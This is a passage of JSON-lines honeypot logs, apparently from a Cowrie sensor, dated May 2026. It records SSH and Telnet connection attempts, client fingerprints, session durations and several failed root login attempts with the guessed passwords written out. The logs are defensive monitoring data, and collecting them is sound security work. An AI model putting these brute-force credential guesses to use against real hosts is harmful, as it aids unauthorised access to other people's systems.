f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:55.567637Z","src_ip":"43.159.35.21","session":"229d0db110bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm,./123","message":"login attempt [root/zxcvbnm,./123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:56.579403Z","src_ip":"43.159.35.21","session":"229d0db110bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:57.830669Z","src_ip":"43.159.35.21","session":"229d0db110bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.19565987586975,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:58.041758Z","src_ip":"152.42.224.71","session":"3c0796e06015","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53046,"dst_ip":"10.17.0.5","dst_port":23,"session":"e687d8284c73","protocol":"telnet","message":"New connection: 152.42.224.71:53046 (10.17.0.5:23) [session: e687d8284c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:33:58.730332Z"}
{"eventid":"cowrie.session.closed","duration":2.3894355297088623,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:01.119657Z","src_ip":"152.42.224.71","session":"e687d8284c73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53052,"dst_ip":"10.17.0.5","dst_port":23,"session":"48de4cfd25b9","protocol":"telnet","message":"New connection: 152.42.224.71:53052 (10.17.0.5:23) [session: 48de4cfd25b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:03.129558Z"}
{"eventid":"cowrie.session.closed","duration":26.91071653366089,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:05.717218Z","src_ip":"152.42.224.71","session":"a2645856c66e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57808,"dst_ip":"10.17.0.5","dst_port":23,"session":"c64e6f044082","protocol":"telnet","message":"New connection: 152.42.224.71:57808 (10.17.0.5:23) [session: c64e6f044082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:09.236263Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57814,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc757adb340d","protocol":"telnet","message":"New connection: 152.42.224.71:57814 (10.17.0.5:23) [session: fc757adb340d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:14.580276Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.40","src_port":16554,"dst_ip":"10.17.0.5","dst_port":22,"session":"69e374666869","protocol":"ssh","message":"New connection: 66.132.195.40:16554 (10.17.0.5:22) [session: 69e374666869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:16.328799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:16.922730Z","src_ip":"66.132.195.40","session":"69e374666869","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:16.930192Z","src_ip":"66.132.195.40","session":"69e374666869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00181746482849,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:17.645868Z","src_ip":"152.42.224.71","session":"9ec654f8fa19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.08983612060547,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:17.670725Z","src_ip":"152.42.224.71","session":"8f7012ac7150","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.106.227","src_port":47926,"dst_ip":"10.17.0.5","dst_port":22,"session":"798a93a583ca","protocol":"ssh","message":"New connection: 62.193.106.227:47926 (10.17.0.5:22) [session: 798a93a583ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:18.737282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:18.742865Z","src_ip":"62.193.106.227","session":"798a93a583ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:18.888072Z","src_ip":"62.193.106.227","session":"798a93a583ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.65381193161011,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:19.159906Z","src_ip":"152.42.224.71","session":"3347deb02fc4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"john2007","message":"login attempt [root/john2007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:19.495633Z","src_ip":"62.193.106.227","session":"798a93a583ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":54364,"dst_ip":"159.203.135.109","dst_port":22,"session":"52073c0b9830","protocol":"ssh","message":"New connection: 103.27.238.116:54364 (159.203.135.109:22) [session: 52073c0b9830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:20.321602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:20.327410Z","src_ip":"103.27.238.116","session":"52073c0b9830","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:20.610426Z","src_ip":"103.27.238.116","session":"52073c0b9830","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:20.643338Z","src_ip":"62.193.106.227","session":"798a93a583ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1986","message":"login attempt [root/1986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:21.455476Z","src_ip":"103.27.238.116","session":"52073c0b9830","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:22.740080Z","src_ip":"103.27.238.116","session":"52073c0b9830","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.806865215301514,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:24.042994Z","src_ip":"152.42.224.71","session":"c64e6f044082","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44210,"dst_ip":"10.17.0.5","dst_port":23,"session":"d14cd0507be9","protocol":"telnet","message":"New connection: 152.42.224.71:44210 (10.17.0.5:23) [session: d14cd0507be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:26.288507Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44216,"dst_ip":"10.17.0.5","dst_port":23,"session":"107ab93d656c","protocol":"telnet","message":"New connection: 152.42.224.71:44216 (10.17.0.5:23) [session: 107ab93d656c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:31.023974Z"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:31.999762Z","src_ip":"66.132.195.40","session":"69e374666869","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.147.93.208","src_port":45238,"dst_ip":"10.17.0.5","dst_port":22,"session":"58802bdc0e98","protocol":"ssh","message":"New connection: 194.147.93.208:45238 (10.17.0.5:22) [session: 58802bdc0e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:32.573679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:32.578476Z","src_ip":"194.147.93.208","session":"58802bdc0e98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:32.679691Z","src_ip":"194.147.93.208","session":"58802bdc0e98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"john2007","message":"login attempt [root/john2007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:33.089758Z","src_ip":"194.147.93.208","session":"58802bdc0e98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.11509609222412,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:33.815507Z","src_ip":"152.42.224.71","session":"b88822f9305c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:34.184007Z","src_ip":"194.147.93.208","session":"58802bdc0e98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.56345343589783,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:38.785921Z","src_ip":"152.42.224.71","session":"e505b86ac28a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.132.141.112","src_port":52748,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4e64f4f44d4","protocol":"ssh","message":"New connection: 79.132.141.112:52748 (10.17.0.5:22) [session: a4e64f4f44d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:48.266983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:48.271649Z","src_ip":"79.132.141.112","session":"a4e64f4f44d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:48.359292Z","src_ip":"79.132.141.112","session":"a4e64f4f44d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZXSW23EDC","message":"login attempt [root/1QAZXSW23EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:48.742316Z","src_ip":"79.132.141.112","session":"a4e64f4f44d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:49.834190Z","src_ip":"79.132.141.112","session":"a4e64f4f44d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0054247379303,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:54.136022Z","src_ip":"152.42.224.71","session":"3ef1275997a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":93.70449686050415,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:34:57.573989Z","src_ip":"152.42.224.71","session":"b114b2a91414","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.37704396247864,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:03.957319Z","src_ip":"152.42.224.71","session":"fc757adb340d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":103.46630191802979,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:08.916838Z","src_ip":"152.42.224.71","session":"3a1d9b18eec7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53432,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bcf52d760ed","protocol":"telnet","message":"New connection: 152.42.224.71:53432 (10.17.0.5:23) [session: 5bcf52d760ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:13.725223Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33706,"dst_ip":"10.17.0.5","dst_port":23,"session":"813c3241f038","protocol":"telnet","message":"New connection: 152.42.224.71:33706 (10.17.0.5:23) [session: 813c3241f038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:18.957371Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.14.178.148","src_port":56050,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d752e06fd06","protocol":"ssh","message":"New connection: 72.14.178.148:56050 (159.203.135.109:22) [session: 9d752e06fd06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:19.019557Z"}
{"eventid":"cowrie.session.closed","duration":48.13757133483887,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:19.161423Z","src_ip":"152.42.224.71","session":"107ab93d656c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33720,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a32df3b032d","protocol":"telnet","message":"New connection: 152.42.224.71:33720 (10.17.0.5:23) [session: 9a32df3b032d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:19.822496Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:20.011836Z","src_ip":"72.14.178.148","session":"9d752e06fd06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":56312,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e9477a2452f","protocol":"ssh","message":"New connection: 193.32.162.145:56312 (10.17.0.5:22) [session: 2e9477a2452f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:30.086482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:35:30.092111Z","src_ip":"193.32.162.145","session":"2e9477a2452f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH 